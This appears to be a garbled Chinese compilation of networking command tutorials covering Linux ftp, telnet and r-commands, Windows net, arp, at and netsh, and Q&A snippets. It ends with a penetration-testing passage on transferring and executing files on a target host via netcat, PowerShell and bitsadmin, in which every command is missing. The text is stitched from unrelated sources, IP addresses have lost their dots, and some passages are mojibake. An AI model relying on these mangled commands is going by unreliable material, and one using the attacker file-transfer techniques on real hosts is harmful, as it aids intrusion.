计算机网络的主要优点是能够实现资源和信息的共享,并且用户可以远程访问信息。Linux提供了一组强有力的网络命令来为用户服务,这些工具能够帮助用户登录到远程计算机上、传输文件和执行远程命令等。 本章介绍下列几个常用的有关网络 *** 作的命令:
ftp 传输文件
telnet 登录到远程计算机上
r - 使用各种远程命令
netstat 查看网络的状况
nslookup 查询域名和IP地址的对应
finger 查询某个使用者的信息
ping 查询某个机器是否在工作
使用ftp命令进行远程文件传输
ftp命令是标准的文件传输协议的用户接口。ftp是在TCP/IP网络上的计算机之间传输文件的简单有效的方法。它允许用户传输ASCII文件和二进制文件。 在ftp会话过程中,用户可以通过使用ftp客户程序连接到另一台计算机上。从此,用户可以在目录中上下移动、列出目录内容、把文件从远程机拷贝到本地机上、把文件从本地机传输到远程系统中。
需要注意的是,如果用户没有那个文件的存取权限,就不能从远程系统中获得文件或向远程系统传输文件。 为了使用ftp来传输文件,用户必须知道远程计算机上的合法用户名和口令。这个用户名/口令的组合用来确认ftp 会话,并用来确定用户对要传输的文件可以进行什么样的访问。另外,用户显然需要知道对其进行ftp 会话的计算机的名字或IP地址。
Ftp命令的功能是在本地机和远程机之间传送文件。该命令的一般格式如下:
$ ftp 主机名/IP
其中“主机名/IP”是所要连接的远程机的主机名或IP地址。在命令行中,主机名属于选项,如果指定主机名,ftp将试图与远程机的ftp服务程序进行连接;如果没有指定主机名,ftp将给出提示符,等待用户输入命令: $ ftp ftp > 此时在ftp>提示符后面输入open命令加主机名或IP地址,将试图连接指定的主机。 不管使用哪一种方法,如果连接成功,需要在远程机上登录。用户如果在远程机上有帐号,就可以通过ftp使用这一帐号并需要提供口令。
在远程机上的用户帐号的读写权限决定该用户在远程机上能下载什么文件和将上载文件放到哪个目录中。 如果没有远程机的专用登录帐号,许多ftp站点设有可以使用的特殊帐号。这个帐号的登录名为anonymous(也称为匿名ftp),当使用这一帐号时,要求输入email地址作为口令。 如果远程系统提供匿名ftp服务,用户使用这项服务可以登录到特殊的,供公开使用的目录。
一般专门提供两个目录:pub目录和incoming目录。pub目录包含该站点供公众使用的所有文件,incoming目录存放上载到该站点的文件。 一旦用户使用ftp在远程站点上登录成功,将得到“ftp>”提示符。现在可以自由使用ftp提供的命令,可以用 help命令取得可供使用的命令清单,也可以在 help命令后面指定具体的命令名称,获得这条命令的说明。
最常用的命令有:
ls 列出远程机的当前目录
cd 在远程机上改变工作目录
lcd 在本地机上改变工作目录
ascii 设置文件传输方式为ASCII模式
binary 设置文件传输方式为二进制模式
close终止当前的ftp会话
hash 每次传输完数据缓冲区中的数据后就显示一个#号
get(mget) 从远程机传送指定文件到本地机
put(mput) 从本地机传送指定文件到远程机
open 连接远程ftp站点
quit断开与远程机的连接并退出ftp
显示本地帮助信息
! 转到Shell中
下面简单将ftp常用命令作一简介。
启动ftp会话 open命令用于打开一个与远程主机的会话。该命令的一般格式是: open 主机名/IP 如果在ftp 会话期间要与一个以上的站点连接,通常只用不带参数的ftp命令。如果在会话期间只想与一台计算机连接,那么在命令行上指定远程主机名或IP地址作为ftp命令的参数。 终止ftp会话 close、disconnect、quit和bye命令用于终止与远程机的会话。close和disronnect命令关闭与远程机的连接,但是使用户留在本地计算机的ftp程序中。quit和bye命令都关闭用户与远程机的连接,然后退出用户机上的ftp 程序。 改变目录 “cd [目录]”命令用于在ftp会话期间改变远程机上的目录,lcd命令改变本地目录,使用户能指定查找或放置本地文件的位置。 远程目录列表 ls命令列出远程目录的内容,就像使用一个交互shell中的ls命令一样。ls命令的一般格式是: ls [目录] [本地文件] 如果指定了目录作为参数,那么ls就列出该目录的内容。如果给出一个本地文件的名字,那么这个目录列表被放入本地机上您指定的这个文件中。 从远程系统获取文件 get和mget命令用于从远程机上获取文件。get命令的一般格式为: get 文件名 您还可以给出本地文件名,这个文件名是这个要获取的文件在您的本地机上创建时的文件名。如果您不给出一个本地文件名,那么就使用远程文件原来的名字。 mget命令一次获取多个远程文件。mget命令的一般格式为: mget 文件名列表 使用用空格分隔的或带通配符的文件名列表来指定要获取的文件,对其中的每个文件都要求用户确认是否传送。 向远程系统发送文件 put和mput命令用于向远程机发送文件。Put命令的一般格式为: put 文件名 mput命令一次发送多个本地文件,mput命令的一般格式为: mput 文件名列表 使用用空格分隔的或带通配符的文件名列表来指定要发送的文件。对其中的每个文件都要求用户确认是否发送。 改变文件传输模式 默认情况下,ftp按ASCII模式传输文件,用户也可以指定其他模式。ascii和brinary命令的功能是设置传输的模式。用ASCII模式传输文件对纯文本是非常好的,但为避免对二进制文件的破坏,用户可以以二进制模式传输文件。 检查传输状态 传输大型文件时,可能会发现让ftp提供关于传输情况的反馈信息是非常有用的。hash命令使ftp在每次传输完数据缓冲区中的数据后,就在屏幕上打印一个#字符。本命令在发送和接收文件时都可以使用。 ftp中的本地命令 当您使用ftp时,字符“!”用于向本地机上的命令shell传送一个命令。如果用户处在ftp会话中,需要shell做某些事,就很有用。例如用户要建立一个目录来保存接收到的文件。如果输入!mkdir new_dir,那么Linux就在用户当前的本地目录中创建一个名为new_dir 的目录。
从远程机grunthos下载二进制数据文件的典型对话过程如下:
$ ftp grunthos Connected to grunthos 220 grunthos ftp server Name (grunthos:pc): anonymous 33l Guest login ok, send your complete e-mail address as password Password: 230 Guest 1ogin ok, access restrictions apply Remote system type is UNIX ftp > cd pub 250 CWD command successful ftp > ls 200 PORT command successful l50 opening ASCII mode data connection for /bin/1s total ll4 rog1 rog2 226 Transfer comp1ete ftp > binary 200 type set to I ftp > hash Hash mark printing on (1024 bytes/hash mark) ftp > get rog1 200 PORT command successfu1 150 opening BINARY mode data connection for rogl (l4684 bytes) # # # # # # # # # # # # # 226 Transfer complete 14684 bytes received in 00473 secs (3e + 02 Kbytes/sec) ftp > quit 22l Goodbye
使用telnet命令访问远程计算机
用户使用telnet命令进行远程登录。该命令允许用户使用telnet协议在远程计算机之间进行通信,用户可以通过网络在远程计算机上登录,就像登录到本地机上执行命令一样。 为了通过telnet登录到远程计算机上,必须知道远程机上的合法用户名和口令。虽然有些系统确实为远程用户提供登录功能,但出于对安全的考虑,要限制来宾的 *** 作权限,因此,这种情况下能使用的功能是很少的。当允许远程用户登录时,系统通常把这些用户放在一个受限制的shell中,以防系统被怀有恶意的或不小心的用户破坏。 用户还可以使用telnet从远程站点登录到自己的计算机上,检查电子邮件、编辑文件和运行程序,就像在本地登录一样。
但是,用户只能使用基于终端的环境而不是X Wndows环境,telnet只为普通终端提供终端仿真,而不支持 X Wndow等图形环境。 telnet命令的一般形式为: telnet 主机名/IP 其中“主机名/IP”是要连接的远程机的主机名或IP地址。如果这一命令执行成功,将从远程机上得到login:提示符。 使用telnet命令登录的过程如下: $ telnet 主机名/IP 启动telnet会话。 一旦telnet成功地连接到远程系统上,就显示登录信息并提示用户输人用户名和口令。如果用户名和口令输入正确,就能成功登录并在远程系统上工作。 在telnet提示符后面可以输入很多命令,用来控制telnet会话过程,在telnet联机帮助手册中对这些命令有详细的说明。
下面是一台Linux计算机上的telnet会话举例:
$ telnet server somewhere com Trying 127001… Connected to serve somewhere com Escape character is \']\' “TurboLinux release 4 0 (Colgate) kernel 2018 on an I486 login: bubba password: Last login:Mon Nov l5 20:50:43 for localhost Linux 2 06 (Posix) server: ~$ server: ~$ logout Connection closed by foreign host $
用户结束了远程会话后,一定要确保使用logout命令退出远程系统。然后telnet报告远程会话被关闭,并返回到用户的本地机的Shell提示符下。 r-系列命令 除ftp和telnet以外,还可以使用r-系列命令访问远程计算机和在网络上交换文件。 使用r-系列命令需要特别注意,因为如果用户不小心,就会造成严重的安全漏洞。用户发出一个r-系列命令后,远程系统检查名为/etc/hostsequiv的文件,以查看用户的主机是否列在这个文件中。如果它没有找到用户的主机,就检查远程机上同名用户的主目录中名为.rhosts的文件,看是否包括该用户的主机。如果该用户的主机包括在这两个文件中的任何一个之中,该用户执行r-系列命令就不用提供口令。
虽然用户每次访问远程机时不用键入口令可能是非常方便的,但是它也可能会带来严重的安全问题。我们建议用户在建立/etc/hostsequiv和rhosts文件之前,仔细考虑r-命令隐含的安全问题。
rlogin命令
rlogin 是“remote login”(远程登录)的缩写。该命令与telnet命令很相似,允许用户启动远程系统上的交互命令会话。rlogin 的一般格式是:
rlogin [ -8EKLdx ] [ -e char ] [-k realm ] [ - l username ] host
一般最常用的格式是: rlogin host 该命令中各选项的含义为:
-8 此选项始终允许8位输入数据通道。该选项允许发送格式化的ANSI字符和其他的特殊代码。如果不用这个选项,除非远端的终止和启动字符不是或,否则就去掉奇偶校验位。
-E 停止把任何字符当作转义字符。当和-8选项一起使用时,它提供一个完全的透明连接。
-K 关闭所有的Kerberos确认。只有与使用Kerberos 确认协议的主机连接时才使用这个选项。
-L 允许rlogin会话在litout模式中运行。要了解更多信息,请查阅tty联机帮助。
-d 打开与远程主机进行通信的TCP sockets的socket调试。要了解更多信息,请查阅setsockopt的联机帮助。
-e 为rlogin会话设置转义字符,默认的转义字符是“~”,用户可以指定一个文字字符或一个\\nnn形式的八进制数。
-k 请求rlogin获得在指定区域内的远程主机的Kerberos许可,而不是获得由krb_realmofhost(3)确定的远程主机区域内的远程主机的Kerberos 许可。
-x 为所有通过rlogin会话传送的数据打开DES加密。这会影响响应时间和CPU利用率,但是可以提高安全性。
rsh命令
rsh是“remote shell”(远程 shell)的缩写。 该命令在指定的远程主机上启动一个shell并执行用户在rsh命令行中指定的命令。如果用户没有给出要执行的命令,rsh就用rlogin命令使用户登录到远程机上。
rsh命令的一般格式是:
rsh [-Kdnx] [-k realm] [-l username] host [command]
一般常用的格式是:
rsh host [command ]
command可以是从shell提示符下键人的任何Linux命令。
rsh命令中各选项的含义如下:
-K 关闭所有的Kerbero确认。该选项只在与使用Kerbero确认的主机连接时才使用。
-d 打开与远程主机进行通信的TCP sockets的socket调试。要了解更多的信息,请查阅setsockopt的联机帮助。
-k 请求rsh获得在指定区域内的远程主机的Kerberos许可,而不是获得由krb_relmofhost(3)确定的远程主机区域内的远程主机的Kerberos许可。
-l 缺省情况下,远程用户名与本地用户名相同。本选项允许指定远程用户名,如果指定了远程用户名,则使用Kerberos 确认,与在rlogin命令中一样。
-n 重定向来自特殊设备/dev/null的输入。
-x 为传送的所有数据打开DES加密。这会影响响应时间和CPU利用率,但是可以提高安全性。 Linux把标准输入放入rsh命令中,并把它拷贝到要远程执行的命令的标准输入中。它把远程命令的标准输出拷贝到rsh的标准输出中。它还把远程标准错误拷贝到本地标准错误文件中。任何退出、中止和中断信号都被送到远程命令中。当远程命令终止了,rsh也就终止了。
rcp命令
rcp代表“remote file copy”(远程文件拷贝)。该命令用于在计算机之间拷贝文件。
rcp命令有两种格式。第一种格式用于文件到文件的拷贝;第二种格式用于把文件或目录拷贝到另一个目录中。
rcp命令的一般格式是:
rcp [-px] [-k realm] file1 file2 rcp [-px] [-r] [-k realm] file
directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式:rname@rhost:path,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。
rcp命令的各选项含义如下:
-r 递归地把源目录中的所有内容拷贝到目的目录中。要使用这个选项,目的必须是一个目录。
-p 试图保留源文件的修改时间和模式,忽略umask。
-k 请求rcp获得在指定区域内的远程主机的Kerberos 许可,而不是获得由krb_relmofhost(3)确定的远程主机区域内的远程主机的Kerberos许可。
-x 为传送的所有数据打开DES加密。这会影响响应时间和CPU利用率,但是可以提高安全性。 如果在文件名中指定的路径不是完整的路径名,那么这个路径被解释为相对远程机上同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线(\\)、双引号(”)或单引号(’)括起来,使所有的shell元字符都能被远程地解释。 需要说明的是,rcp不提示输入口令,它通过rsh命令来执行拷贝。 - Turbolinux 提供稿件
问题一:问答题:在Windows环境下,如何查看网络配置信息? [开始]-[运行],输入CMD,确定,在新出现的窗口中输入ipconfig/all,回车。
问题二:如何利用网络命令net查看本网络配置信息 是这个么? (ipconfig可以查看本机基本网络配置,网卡地址、ip地址等等的)
运行“cmd”--命令提示符中输入“netstat -( )'
netstat Ca:-a选项显示所有的有效连接信息列表,包括已建立的连接(ESTABLISHED),也包括监听连接请求(LISTENING)的那些连接。
netstat Cn:以点分十进制的形式列出IP地址,而不是象征性的主机名和网络名。
netstat -e:-e选项用于显示关于以太网的统计数据。它列出的项目包括传送的数据包的总字节数、错误数、删除数、数据包的数量和广播的数量。这些统计数据既有发送的数据包数量,也有接收的数据包数量。使用这个选项可以统计一些基本的网络流量。
netstat -r:-r选项可以显示关于路由表的信息,类似于route print命令时看到的信息。除了显示有效路由外,还显示当前有效的连接。
netstat -s:-s选项能够按照各个协议分别显示其统计数据。这样就可以看到当前计算机在网络上存在哪些连接,以及数据包发送和接收的详细情况等等。如果应用程序(如Web浏览器)运行速度比较慢,或者不能显示Web页之类的数据,那么可以用本选项来查看一下所显示的信息。仔细查看统计数据的各行,找到出错的关键字,进而确定问题所在。
问题三:电脑的网络配置怎么看啊,麻烦详细说下 网络连接图标上点右键 属性
问题四:在Windows 环境中,如何查看局域网的网络配置信息 直接进路由器设置里查看,如果你没改过的话,直接在浏览器上输19216811可能有些不同你看一下路由器的说明书就懂了!
问题五:如何重置网络设置 1在“开始”菜单找到“运行“
2然后在里面输入cmd
3出现的命令提示框内输入“netsh winsock reset按”Enter“键
4重启电脑,即可重置网络连接配置。
问题六:怎么查看笔记本的网卡配置 方法很多,第一,可以右键我的电脑,管理,计算机管理,设备管理器,网络适器,就可以查看到了,也可下载安装驱动精灵,鲁大师,360硬件检测后就知道是什么型号的网卡了
问题七:如何查看网卡TCPIP协议配置信息 在开始/运行中执行CMD,进入DOS模式,执行IPCONFIG /ALL命令,就能查看到所有TCP/IP配置信息。
问题八:怎么查看电脑的网络设置情况?怎么查看网络连接是否存在异常? 打开命令行工具(命令提示符,或在运行中输入cmd,点运行),在仿DOS界面中,输入ipconfig,按回车,就能显示你的网络配置状况;输入ping ,就能反馈到这个ip地址的网络链接是否存在异常。也可以ping ,能显示到这个网址的域名解析的ip地址及其连接状况。这两个命令是非常常用的网络检查工具。
问题九:win7查看基本网络信息并设置连接显示未知 ‘查看基本网络信息并设置连接 未知 / ’的解决办法:
一、判定 DHCP Client 是否启动需要去启动这个服务;
方法:打开“开始”->运行,在打开后的文本框中,输入:servicesmsc,打开windows7的服务管理窗口,查看名称为DHCP Client的服务。
如右击启动时,发现提示:“dhcp client无法启动 错误5”,这是由于权限的原因。需要打开注册表:
右击一下DHCP Client中的“属性”,在“常规”中,发现,其服务名称为:DHCP,需要在注册表中,设置此服务的权限。 *** 作如下:
在“运行”中,输入:regedit,打开“注册表编辑器”,进入:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dhcp\Parameters
右击Parameters,选择“权限”,发现在Parameter的权限设置中,“组或用户名”中,不包括“LOCAL SERVICE”与NETWORK SERVICE这2个组需要添加这2个组。在此对话框中,
点击“添加”,在d出的对话框中,点击左下角的“高级”,再在d出的对话框中,点击“立即查找”,此时,搜索结果中,会搜索出多条记录,选择“LOCAL SERVICE”,点击“确定”,此对话框会
关闭,再点击“确定”,此对话框也会关闭,此时,在“组或用户名”中,会多出此组。点击“LOCAL SERVICE”,在“LOCAL SERVICE 的权限”中,“允许”下面,勾选“完全控制”与“读取”。点
击“确定”。此时,DHCP服务中,LOCAL SERVICE组,就可以控制此服务了。
以同样的方法,给DHCP服务,添加NETWORK SERVICE组的权限。
此时,电脑可以上网。
二、桌面屏幕右下角的“网络”图标上,一直是一个小黄点或一把叉,点击后,发现连接的无线网络后面,显示的是“有限的访问权限”;或 打开网络与共享中心时,发现“查看基本网络信息并设
置连接”中,显示的是“未知”。
解决办法:1、需要开启另外2个服务:Network Localtion Awareness 和 Remote Procedure Call服务。
2、如 Remote Procedure 服务是开着的,就需要开启 Network Localtion Awareness 服务。如手工开启时,也发现了和打开DHCP Client一样权限不够的问题。就使用设置DHCP Client
同样的方法,在注册表中:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NlaSvc\Parameters中(NlaSvc是Network Localtion Awareness的服务名称)
新增了“NETWORK SERVICE”组的权限,设置可以参数DHCP Client的设置步骤。此时,在“服务”中,打开“Network Localtion Awareness”服务,成功。
>>
问题十:win7 查看网路信息并设置连接 显示 未知 但能上网 怎么办? 看看是不是网络适配器(网卡)被禁用了或网卡驱动没装好
1最基本,最常用的,测试物理网络的
ping 1921681088 -t ,参数-t是等待用户去中断测试
2查看DNS、IP、Mac等
AWin98:winipcfg
BWin2000以上:Ipconfig/all
CNSLOOKUP:如查看河北的DNS
C:\\>nslookup
Default Server: nshesjpttnetcn
Address: 2029916068
>server 20299412 则将DNS改为了412
> poppcpopcom
Server: nshesjpttnetcn
Address: 2029916068
Non-authoritative answer:
Name: poppcpopcom
Address: 20299160212
3网络信使
Net send 计算机名/IP| (广播) 传送内容,注意不能跨网段
net stop messenger 停止信使服务,也可以在面板-服务修改
net start messenger 开始信使服务
4探测对方对方计算机名,所在的组、域及当前用户名
ping -a IP -t ,只显示NetBios名
nbtstat -a 19216810146 比较全的
5netstat -a 显示出你的计算机当前所开放的所有端口
netstat -s -e 比较详细的显示你的网络资料,包括TCP、UDP、ICMP 和 IP的统计等
6探测arp绑定(动态和静态)列表,显示所有连接了我的计算机,显示对方IP和MAC地址
arp -a
7在代理服务器端
捆绑IP和MAC地址,解决局域网内盗用IP:
ARP -s 1921681059 00-50-ff-6c-08-75
解除网卡的IP与MAC地址的绑定:
arp -d 网卡IP
8在网络邻居上隐藏你的计算机
net config server /hidden:yes
net config server /hidden:no 则为开启
9几个net命令
A显示当前工作组服务器列表 net view,当不带选项使用本命令时,它就会显示当前域或网络上的计算机上的列表。
比如:查看这个IP上的共享资源,就可以
C:\\>net view 192168108
在 192168108 的共享资源
资源共享名 类型 用途 注释
--------------------------------------
网站服务 Disk
命令成功完成。
B查看计算机上的用户帐号列表 net user
C查看网络链接 net use
例如:net use z: \\\\192168108\\movie 将这个IP的movie共享目录映射为本地的Z盘
D记录链接 net session
例如:
C:\\>net session
计算机 用户名 客户类型 打开空闲时间
-------------------------------------------------------------------------------
\\\\19216810110 ROME Windows 2000 2195 0 00:03:12
\\\\1921681051 ROME Windows 2000 2195 0 00:00:39
命令成功完成。
10路由跟踪命令
Atracert poppcpopcom
Bpathping poppcpopcom 除了显示路由外,还提供325S的分析,计算丢失包的%
11关于共享安全的几个命令
A查看你机器的共享资源 net share
B手工删除共享
net share c$ /d
net share d$ /d
net share ipc$ /d
net share admin$ /d
注意$后有空格。
C增加一个共享:
c:\\net share mymovie=e:\\downloads\\movie /users:1
mymovie 共享成功。
同时限制链接用户数为1人。
12在DOS行下设置静态IP
A设置静态IP
CMD
netsh
netsh>int
interface>ip
interface ip>set add "本地链接" static IP地址 mask gateway
B查看IP设置
interface ip>show address
Arp
显示和修改“地址解析协议 (ARP)”缓存中的项目。ARP 缓存中包含一个或多个表,它们用于存储 IP 地址及其经过解析的以太网或令牌环物理地址。计算机上安装的每一个以太网或令牌环网络适配器都有自己单独的表。如果在没有参数的情况下使用,则 arp 命令将显示帮助信息。
语法
arp [-a [InetAddr] [-N IfaceAddr] [-g [InetAddr] [-N IfaceAddr] [-d InetAddr [IfaceAddr] [-s InetAddr EtherAddr [IfaceAddr]
参数
-a [InetAddr] [-N IfaceAddr]
显示所有接口的当前 ARP 缓存表。要显示指定 IP 地址的 ARP 缓存项,请使用带有 InetAddr 参数的 arp -a,此处的 InetAddr 代表指定的 IP 地址。要显示指定接口的 ARP 缓存表,请使用 -N IfaceAddr 参数,此处的 IfaceAddr 代表分配给指定接口的 IP 地址。-N 参数区分大小写。
-g [InetAddr] [-N IfaceAddr]
与 -a 相同。
-d InetAddr [IfaceAddr]
删除指定的 IP 地址项,此处的 InetAddr 代表 IP 地址。对于指定的接口,要删除表中的某项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。要删除所有项,请使用星号 通配符代替 InetAddr。
-s InetAddr EtherAddr [IfaceAddr]
向 ARP 缓存添加可将 IP 地址 InetAddr 解析成物理地址 EtherAddr 的静态项。要向指定接口的表添加静态 ARP 缓存项,请使用 IfaceAddr 参数,此处的 IfaceAddr 代表分配给该接口的 IP 地址。
/
在命令提示符显示帮助。
注释
InetAddr 和 IfaceAddr 的 IP 地址用带圆点的十进制记数法表示。
物理地址 EtherAddr 由六个字节组成,这些字节用十六进制记数法表示并且用连字符隔开(比如,00-AA-00-4F-2A-9C)。
通过 -s 参数添加的项属于静态项,它们不会 ARP 缓存中超时。如果终止 TCP/IP 协议后再启动,这些项会被删除。要创建永久的静态 ARP 缓存项,请在批处理文件中使用适当的 arp 命令并通过“计划任务程序”在启动时运行该批处理文件。
只有当网际协议 (TCP/IP) 协议在 网络连接中安装为网络适配器属性的组件时,该命令才可用。
范例
要显示所有接口的 ARP 缓存表,可键入:
arp -a
对于指派的 IP 地址为 100099 的接口,要显示其 ARP 缓存表,可键入:
arp -a -N 100099
要添加将 IP 地址 100080 解析成物理地址 00-AA-00-4F-2A-9C 的静态 ARP 缓存项,可键入:
arp -s 100080 00-AA-00-4F-2A-9C
At
计划在指定时间和日期在计算机上运行命令和程序。at 命令只能在“计划”服务运行时使用。如果在没有参数的情况下使用,则 at 列出已计划的命令。
语法
at [\\\\ComputerName] [{[ID] [/delete]|/delete [/yes]}]
at [\\\\ComputerName] hours:minutes [/interactive] [{/everyate[,]|/nextate[,]}] command]
参数
\\\\computername
指定远程计算机。如果省略该参数,则 at 计划本地计算机上的命令和程序。
ID
指定指派给已计划命令的识别码。
/delete
取消已计划的命令。如果省略了 ID,则计算机中所有已计划的命令将被取消。
/yes
删除已计划的事件时,对来自系统的所有询问都回答“是”。
hours:minutes
指定命令运行的时间。该时间用 24 小时制(即从 00:00 [午夜] 到 23:59)的 小时: 分钟格式表示。
/interactive
对于在运行 command 时登录的用户,允许 command 与该用户的桌面进行交互。
/every:
在每个星期或月的指定日期(例如,每个星期四,或每月的第三天)运行 command 命令。
date
指定运行命令的日期。可以指定一周的某日或多日(即,键入 M、T、W、Th、F、S、Su)或一个械哪橙栈蚨嗳眨矗氪1 到31 之间的数字)。用逗号分隔多个日期项。如果省略了 date,则 at 使用该月的当前日。
/next:
在下一个指定日期(比如,下一个星期四)到来时运行 command。
command
指定要运行的 Windows 命令、程序(exe 或 com 文件)或批处理程序(bat 或 cmd 文件)。当命令需要路径作为参数时,请使用绝对路径,也就是从驱动器号开始的整个路径。如果命令在远程计算机上,请指定服务器和共享名的通用命名协定 (UNC) 符号,而不是远程驱动器号。
/
在命令提示符显示帮助。
注释
Schtasks 是功能更为强大的超集命令行计划工具,它含有 at 命令行工具中的所有功能。对于所有的命令行计划任务,都可以使用 schtasks 来替代 at。有关 schtasks 的详细信息,请参阅“相关主题”。
使用 at
使用 at 命令时,要求您必须是本地 Administrators 组的成员。
加载 Cmdexe
在运行命令之前,At 不会自动加载 Cmdexe (命令解释器)。如果没有运行可执行文件 (exe),则在命令开头必须使用如下所示的方法专门加载 Cmdexe:
cmd /c dir > c:\\testout。
查看已计划的命令
当不带命令行选项使用 at 时,计划任务会出现在类似于以下格式的表中:
Status ID Day Time Command Line
OK 1 Each F 4:30 PM net send group leads status due
OK 2 Each M 12:00 AM chkstor > checkfile
OK 3 Each F 11:59 PM backup2bat
包含标识号 (ID)
当在命令提示下使用带有标识号 (ID) 的 at 命令时,单个任务项的信息会显示在类似于下面的格式中:
Task ID: 1
Status:OK
Schedule:Each F
Time of Day:4:30 PM
Command:net send group leads status due当计划带有 at 的命令(尤其是带有命令行选项的命令)后,要通过键入不带命令行选项的 at 来检查该命令语法是否输入正确。如果显示在“命令行”列中的信息不正确,请删除该命令,然后重新键入它。如果还不正确,则可以在重新键入该命令时让它少带些命令行选项。
网络诊断工具netsh用法
netsh是一个功能非常强大的Windows系统内置命令,可用于从本地或远程显示或修改当前正在运行的计算机的网络配置。它还提供了一个脚本功能,对于指定计算机,可以通过此功能以批处理模式运行一组命令。为了存档或配置其他服务器,netsh也可以将配置脚本保存在文本文件中。netsh命令可以在两种模式下运行:交互式和非交互式。当需要进行单一设置时,使用非交互式模式即可。要在交互模式下使用,只需在命令提示符下输入netsh命令即可。下面我介绍其常见用法。
(1)查看网络配置
语法格式为:netsh interface ip show {选项}
通过{选项}来决定要显示的网络配置信息,例如选项address表示显示IP地址配置;config表示显示IP地址和更多信息;dns表示显示DNS服务器地址;icmp表示显示ICMP统计信息;interface表示显示IP接口统计信息;ipaddress表示显示当前IP地址。
(2)配置网络接口IP和网关IP
例如,命令netsh interface ip set address 本地连接 static 101110 255000 10121表示将名为“本地连接”的网络接口配置为:IP地址101110,子网掩码255000,默认网关10121,其中static表示分配静态地址。
(3)配置网络接口的DNS服务器
例如,命令netsh interface ip set dns 本地连接 static 20210216068表示将名为“本地连接”的网络接口的DNS服务器配置为20210216068。
(4)配置自动获取IP地址、DNS地址
例如,命令netsh interface ip set address 本地连接 dhcp表示将名为“本地连接”的网络接口配置为自动获取IP地址;netsh interface ip set dns 本地连接 dhcp表示将名为“本地连接”的网络接口配置为自动获取DNS服务器地址。
(5)查看和使用网络配置文件
例如,命令netsh -c interface dump表示显示当前的配置脚本。
要将当前网络配置脚本导出到一个文本文件,可使用重定向 *** 作:netsh -c interface dump > d:\net1txt,(">"表示导出,">>"表示追加);要从文本文件导入网络配置脚本,可以使用命令:netsh -f d:\net1txt。
另外,进入netsh交互环境后,在根基目录用exec命令也可以加载一个配置脚本,如:netsh>exec d:\net1txt。
(6)启用|关闭|重置防火墙
启用防火墙,命令:netsh firewall set opmode mode = enable
关闭防火墙,命令:netsh firewall set opmode mode = disable
重置防火墙,命令:netsh firewall reset
(7)启用|禁用WLAN
启用WLAN,命令:netsh wlan set hostednetwork mode=allow
禁用WLAN,命令:netsh wlan set hostednetwork mode=disallow
启用承载网络,命令:netsh wlan start hostednetwork
注:对于普通计算机来说,网络设置只有接口IP配置参数;而对于服务器而言,网络设置不仅仅包括前面所提到的接口IP配置参数,还有接口配置、端口代理配置、远程访问配置、路由配置、DNS代理配置、NAT 配置、DHCP中继代理配置等。
netshexe工具的语法为:
netsh [-r router name] [-a AliasFile] [-c Context] [Command | -f ScriptFile]
要显示在上下文中可以使用的子上下文和命令的列表,请在netsh>命令提示符处键入上下文名称,后跟空格和。例如,要显示可以在/routing上下文使用的子上下文和命令的列表,应在netsh>命令提示符处键入routing ,然后按Enter。上下文字符串附加在netshexe工具命令之后,并被传递到相关的帮助器。帮助器可以有一个或多个映射到上下文的入口点。
netshexe工具中可使用的一些上下文是:
/dhcp,更改为动态主机配置协议(DHCP)上下文;
/ras,更改为远程访问服务器(RAS)上下文;
/routing,更改为路由上下文;
/wins,更改为Windows Internet命名服务(WINS)上下文。
上下文也可嵌套在其他上下文中。例如,以下上下文在netsh>ras上下文中运行:
/ip,更改为Internet协议(IP)上下文;
/ipx,更改为网际数据包交换(IPX)上下文;
/netbeui,更改为NetBios增强型用户接口(NETBEUI)上下文。
;在我们渗透测试的过程中,通常会需要向目标主机传送一些文件,来达到提权,维持控制等目的。因此当不方便进行直接传输时,同时目标主机是能有网络连接的,那么此时就可以通过本地下载这种方法来达到文件传输的目的。此篇文章,我会对互联网上针对win与linux大部分的下载指令来做一个汇总,可能会有疏漏,但汇总的都是经常会用的。
这款工具功能很丰富,可以充当某种功能完备的GUI下载管理器,它拥有一款理想的下载管理器所需要的所有功能,比如它可以恢复下载,可以下载多个文件,出现某个连接问题后,可以重新尝试下载,你甚至可以管理最大的下载带宽。
直接下载:
后台下载:
如果互联网连接出现中断,恢复下载:
从某个密码保护的ftp软件库下载文件:
Curl是另一种高效的下载工具,它可以用来上传或下载文件,只要使用一个简单的命令。它支持暂停和恢复下载程序包,并支持数量最多的Web协议,可预测下载完成还剩余多少时间,可通过进度条来显示下载进度。它是所有Linux发行版的内置工具。
直接下载:
借助-o选项,提供名称,下载文件会以该名称保存;如使用-O选项,文件就会以原始名称保存。
这是wget的出色替代者,是一款轻量级下载实用工具。它实际上是个加速,因为它打开了多路http连接,可下载独立文件片段,因而文件下载起来更快速。
直接下载:
这是一种开源命令行下载加速,支持多个端口,你可以使用最大带宽来下载文件,是一款易于安装、易于使用的工具。
直接下载:
Perl是一门很吊的语言,使用它基本可以实现任何事情,用它实现文件下载也很简单。
执行脚本文件是这样:
Python也是很受欢迎的主流脚本语言,代码清晰且简洁:
Ruby是一个面对对象的语言,Metasploit框架就是用它来实现的,当然他也可以实现像下载文件这样的小任务。
执行脚本文件是这样;
PHP作为一种服务端脚本,也可以实现下载文件这种功能。
执行脚本文件是这样:
一般情况下攻击者使用FTP上传文件需要很多交互的步骤,下面这个 bash 脚本,考虑到了交互的情况,可以直接执行并不会产生交互动作。
当然根据实际情况也可以进入交互终端:
攻击者的电脑上输入:
这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
目标电脑上的命令:
这条命令将连接攻击者的电脑,接受file内容保存。
PowerShell 是一种winodws原生的脚本语言,对于熟练使用它的人来说,可以实现很多复杂的功能。
下面这两条指令实现了从Internet网络下载一个文件。
可以应用到: Windows Server 2003, Windows Server 2003 R2, Windows Server 2003 with SP1, Windows Server 2003 with SP2
文件下载并执行如下:
在1998年Visual Basic最终标准在windows上确定。下面的代码可以实现下载文件,虽然它的长度比Powershell长多了。
在windows中Cscript指令可以允许你执行VBS脚本文件或者对script脚本做一些设置。在windows 7中这个指令并不是必须要用到。但是在windows XP中需要使用这条指令,如下所示:
在Windows Vista以及以后的版本中默认有FTP,可以使用以下命令运行:
上传:
下载:
Bitsadmin是Windows命令行工具,用户可以使用它来创建下载或上传的任务。只能命令下载到指定路径上,win7以上:
